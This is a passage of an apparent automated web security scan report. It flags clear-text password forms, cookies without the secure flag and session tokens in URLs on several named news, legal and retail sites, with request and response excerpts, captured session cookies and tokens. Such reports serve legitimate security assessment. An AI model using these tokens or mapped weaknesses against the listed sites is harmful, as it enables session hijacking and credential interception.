Date: Mon, 19 Sep 2011 19:30:20 GMT
Server: Apache
Set-Cookie: CFID=264521224;domain=.games.net;expires=Wed, 11-Sep-2041 19:30:20 GMT;path=/
Set-Cookie: CFTOKEN=35491050;domain=.games.net;expires=Wed, 11-Sep-2041 19:30:20 GMT;path=/
Set-Cookie: IDGE_LOGIN=false;path=/
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Type: application/x-javascript
Pragma: im n ur heders, makin u cach
Vary: Accept-Encoding
Content-Length: 672
Connection: Keep-Alive

       document.write ('<form name="loginForm" action="/community/login_action.cfm" method="post">');
       document.write('<label for="login_name" id="login_label">login name</label>');
       document.write('<in
...[SNIP]...
</label>');
       document.write('<input type="password" class="textfield" id="password" name="the_password" />');
       document.write('<input type="submit" value="login" class="input_button" id="login_button"/>
...[SNIP]...

2.9. http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

The form contains the following password fields:

password
confirmpassword

Request

GET /it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

2.10. http://www.law.com/js/registration_globalNavBar.js previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.law.com
Path:	/js/registration_globalNavBar.js

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.law.com/js/registration_globalNavBar.js

The form contains the following password fields:

upass
upass

Request

GET /js/registration_globalNavBar.js HTTP/1.1
Host: www.law.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.law.com/jsp/lawtechnologynews/index.jsp?id=1202433024186&Clio_Keeps_Solo_on_Top_of_Her_Practice
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Thu, 26 May 2011 17:31:12 GMT
ETag: "124e536-63b3-4a4312ff85800"
Accept-Ranges: bytes
Content-Type: application/x-javascript
New_Hostname: /js/registration_globalNavBar.js@
Vary: Accept-Encoding
Content-Length: 25523
New_Hostname: /js/registration_globalNavBar.js@
New_Hostname: /js/registration_globalNavBar.js@
Date: Mon, 19 Sep 2011 20:27:19 GMT
Connection: close

//vars set in page source:
// storeRoot, siteDirectory, server_check
// hasPremiumAccess, hasLimitedAccess, isLoggedIn (only true when user is signed in without IP Auth)
//Add this to sites as we c
...[SNIP]...
<div id="lightbox_box">';
signInTop += '<form name="Form1" method="POST" action="http://'+domainRoot+'/Registration/Login.aspx" id="login-form" ';

var xButton = 'onsubmit="return localSignIn(this, 1);"><p id="lightbox_login_close"><a id="xbox" onClick="document.getElementById(\'lightbox_login\').style.display=\'none\'; scOverlayClose();">X</a>
...[SNIP]...
<td><input type="password" name="upass" id="upass" size="20" class="required" onKeyPress="return submitenter(this,event,2)" /></td>
...[SNIP]...
<td><input type="password" name="upass" id="upass" size="20" class="required" onKeyPress="return submitenter(this,event,1)" /></td>
...[SNIP]...

2.11. http://www.pcworld.com/pcworldconnect/comment_registration previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pcworld.com
Path:	/pcworldconnect/comment_registration

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.pcworld.com/pcworldconnect/comment_registration

The form contains the following password fields:

password
confirm

Request

POST /pcworldconnect/comment_registration HTTP/1.1
Host: www.pcworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html
Content-Length: 110
Cookie: fsr.a=1316477817654; pcw.last_uri=/article/216731/simple_cheap_apps_for_keeping_secrets_online.html; __utma=253699094.584679828.1316477805.1316477805.1316477805.1; __utmb=253699094.1.10.1316477805; __utmc=253699094; __utmz=253699094.1316477805.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; JSESSIONID=BEC5776BD7DFBE2A89E1A0FF81896886; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnews%253Asecurity%253Aarticle%253Asimple%252C%2520cheap%2520apps%2520for%2520keeping%2520secrets%2520online%253A216731%7C1316479612778%3B; _bizo_cksm_crc32=167202D4; __csref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; __cst=a7f30b6aea2829ba; __csv=4a66517e0c1f99d8|0; __csnv=e98cd202b1f32204; __ctl=4a66517e0c1f99d81
Pragma: no-cache
Cache-Control: no-cache

callingurl=http%3A%2F%2Fwww.pcworld.com%2Farticle%2F216731%2Fsimple_cheap_apps_for_keeping_secrets_online.html

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:18:59 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 6222

<div class="userAction radius_5" style="display:none;" id="regCommentFormContainer">
<span class="tail"></span>
<img class="png astrisk" src="http://images.pcworld.com/images/shar
...[SNIP]...
<div id="regCommentFormContents">
<form id="comregForm" action="/pcworldconnect/comment_registration" class="commentForm rego_signin active">
<input type="hidden" id="init" name="init" value="inited" />
...[SNIP]...
</label><input type="password" name="password" class="formField" value=""></li>
...[SNIP]...
</label><input type="password" name="confirm" class="formField" value=""></li>
...[SNIP]...

2.12. http://www.simplyhired.com/a/accounts/login previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/accounts/login

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.simplyhired.com/a/accounts/login

The form contains the following password field:

Request

GET /a/accounts/login?f=%2Fa%2Fjobs%2Flist%2Fq-xss HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.simplyhired.com/a/jobs/list/q-xss
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gc=1; sh3=id%3D4073090414e77a776cd8059.42829974%3Brv%3D5d432ed0%3Bcv%3D2; sh2=cso%3D4e77a776%3Bslu%3D0%3Bref%3Dsh; shabts=none; __qca=P0-672047654-1316482567293; sess=ct%3D4e77a776%3Bv%3D2; rs=v2:q%3Dxss; shua=uafbp%3D8%2Cuaversion%3D%2Cuajobssearched%3D1316464506%2Cuanps%3D9%3A1%3A0%3A0; shup=fvt%3D4e77a776%26ncs%3D1%26lst%3D4e77a77a; ki_u=c67c90d5-c311-e524-6ee5-2e6f5c4c3924; ki_t=1316482574458%3B1316482574458%3B1316482574458%3B1%3B1; __utma=270297075.791552784.1316482567.1316482567.1316482567.1; __utmb=270297075.3.10.1316482567; __utmc=270297075; __utmz=270297075.1316482567.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 20:35:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
Set-Cookie: sess=ct%3D4e77a776%3Bv%3D4; path=/; domain=.simplyhired.com
Set-Cookie: shua=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shut=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shmk=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/
Cache-Control: no-cache, must-revalidate
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 4085

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Login |
...[SNIP]...
</h1>

<form class="login" action="/a/accounts/login" method="post">

<h2>
...[SNIP]...
</label>
<input id="f_password" class="text" type="password" name="p" value="" />
</div>
...[SNIP]...

3. SSL cookie without secure flag set previous next
There are 10 instances of this issue:

https://www.onekingslane.com/
https://www.createspace.com/en/community/community/member_showcase
https://www.onekingslane.com/api/customer-summary.xml
https://www.onekingslane.com/careers
https://www.onekingslane.com/contact-us
https://www.onekingslane.com/corporate/careers/
https://www.onekingslane.com/corporate/careers/tech/
https://www.onekingslane.com/join
https://www.onekingslane.com/join/api%252Fcustomer-summary.xml
https://www.twittergadget.com/oauth/redirect.php

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

3.1. https://www.onekingslane.com/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.onekingslane.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

PHPSESSID=hkic26o0daesor1aqfa67ik070; path=/; HttpOnly
ZDEDebuggerPresent=php,phtml,php3; path=/
AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB;PATH=/;MAX-AGE=432000

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cache-control: no-cache="set-cookie"
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:55:09 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: /join
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Set-Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; path=/; HttpOnly
Set-Cookie: AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB;PATH=/;MAX-AGE=432000
Vary: Accept-Encoding
Content-Length: 4
Connection: keep-alive

3.2. https://www.createspace.com/en/community/community/member_showcase previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/en/community/community/member_showcase

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

jive.recentHistory.-1=31342c323031383b; Expires=Wed, 19-Oct-2011 15:01:43 GMT; Path=/en/community

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/community/community/member_showcase HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.createspace.com/3411525
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

Response

3.3. https://www.onekingslane.com/api/customer-summary.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/api/customer-summary.xml

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /api/customer-summary.xml HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: application/xml, text/xml, */*; q=0.01
Referer: https://www.onekingslane.com/corporate/careers/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476596979:ss=1316476585393; ZDEDebuggerPresent=php,phtml,php3

Response

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:55:34 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: /join/api%252Fcustomer-summary.xml
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 0
Connection: keep-alive

3.4. https://www.onekingslane.com/careers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/careers

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /careers HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.onekingslane.com/join
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; ZDEDebuggerPresent=php,phtml,php3; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476596979:ss=1316476585393

Response

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:55:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: https://www.onekingslane.com/corporate/careers/
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 0
Connection: keep-alive

3.5. https://www.onekingslane.com/contact-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/contact-us

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /contact-us HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.onekingslane.com/corporate/careers/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476596979:ss=1316476585393; ZDEDebuggerPresent=php,phtml,php3

Response

3.6. https://www.onekingslane.com/corporate/careers/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/corporate/careers/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /corporate/careers/ HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.onekingslane.com/join
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476596979:ss=1316476585393; ZDEDebuggerPresent=php,phtml,php3

Response

HTTP/1.1 200 OK
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:55:31 GMT
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 15309
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html
xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
xmlns:og="
...[SNIP]...

3.7. https://www.onekingslane.com/corporate/careers/tech/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/corporate/careers/tech/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /corporate/careers/tech/ HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.onekingslane.com/corporate/careers/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; ZDEDebuggerPresent=php,phtml,php3; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476624655:ss=1316476585393

Response

3.8. https://www.onekingslane.com/join previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/join

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /join HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZDEDebuggerPresent=php,phtml,php3; PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB

Response

3.9. https://www.onekingslane.com/join/api%252Fcustomer-summary.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/join/api%252Fcustomer-summary.xml

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /join/api%252Fcustomer-summary.xml HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: application/xml, text/xml, */*; q=0.01
Referer: https://www.onekingslane.com/corporate/careers/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476596979:ss=1316476585393; ZDEDebuggerPresent=php,phtml,php3

Response

3.10. https://www.twittergadget.com/oauth/redirect.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/oauth/redirect.php

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

rt=yHcaqDlEXVB6FDtP8NBeEqD3BwwpTEr2SW9AMI5Jzs; path=/
rts=v%24g6%09%0A+%153%3C3%08%199%22%15%3A%19%1A%03u%119%12%0FD%26%28%12%11%04%0Bb%0D%230%2B%7B%2F%2A%3D%0C%1C; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /oauth/redirect.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Mon, 19 Sep 2011 15:20:05 GMT
Server: Apache
P3P: CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Set-Cookie: rt=yHcaqDlEXVB6FDtP8NBeEqD3BwwpTEr2SW9AMI5Jzs; path=/
Set-Cookie: rts=v%24g6%09%0A+%153%3C3%08%199%22%15%3A%19%1A%03u%119%12%0FD%26%28%12%11%04%0Bb%0D%230%2B%7B%2F%2A%3D%0C%1C; path=/
Location: http://twitter.com/oauth/authorize?oauth_token=yHcaqDlEXVB6FDtP8NBeEqD3BwwpTEr2SW9AMI5Jzs&screen_name=&force_login=true
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

4. Session token in URL previous next
There are 12 instances of this issue:

http://www.cio.com/
http://www.cio.com/article/689607/Tech_Titans_We_Will_Miss_and_Ones_Better_Off_Dismissed
http://www.cio.com/article/689930/15_Add_Ons_to_Become_a_Gmail_Power_User
http://www.computerworld.com/
https://www.createspace.com/Img/T341/T15/T25/ThumbnailImage.jpg
https://www.createspace.com/Workflow/cart.do
http://www.csoonline.com/
http://www.csoonline.com/article/689774/facebook-pwn-tool-steals-profile-info-helps-social-engineers
http://www.facebook.com/extern/login_status.php
http://www.infoworld.com/
http://www.itworld.com/
http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

4.1. http://www.cio.com/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.cio.com
Path:	/

Issue detail

The response contains the following links that appear to contain session tokens:

http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse

Request

GET / HTTP/1.1
Host: www.cio.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Response

4.2. http://www.cio.com/article/689607/Tech_Titans_We_Will_Miss_and_Ones_Better_Off_Dismissed previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.cio.com
Path:	/article/689607/Tech_Titans_We_Will_Miss_and_Ones_Better_Off_Dismissed

Issue detail

The response contains the following links that appear to contain session tokens:

http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse

Request

GET /article/689607/Tech_Titans_We_Will_Miss_and_Ones_Better_Off_Dismissed HTTP/1.1
Host: www.cio.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cio.com/
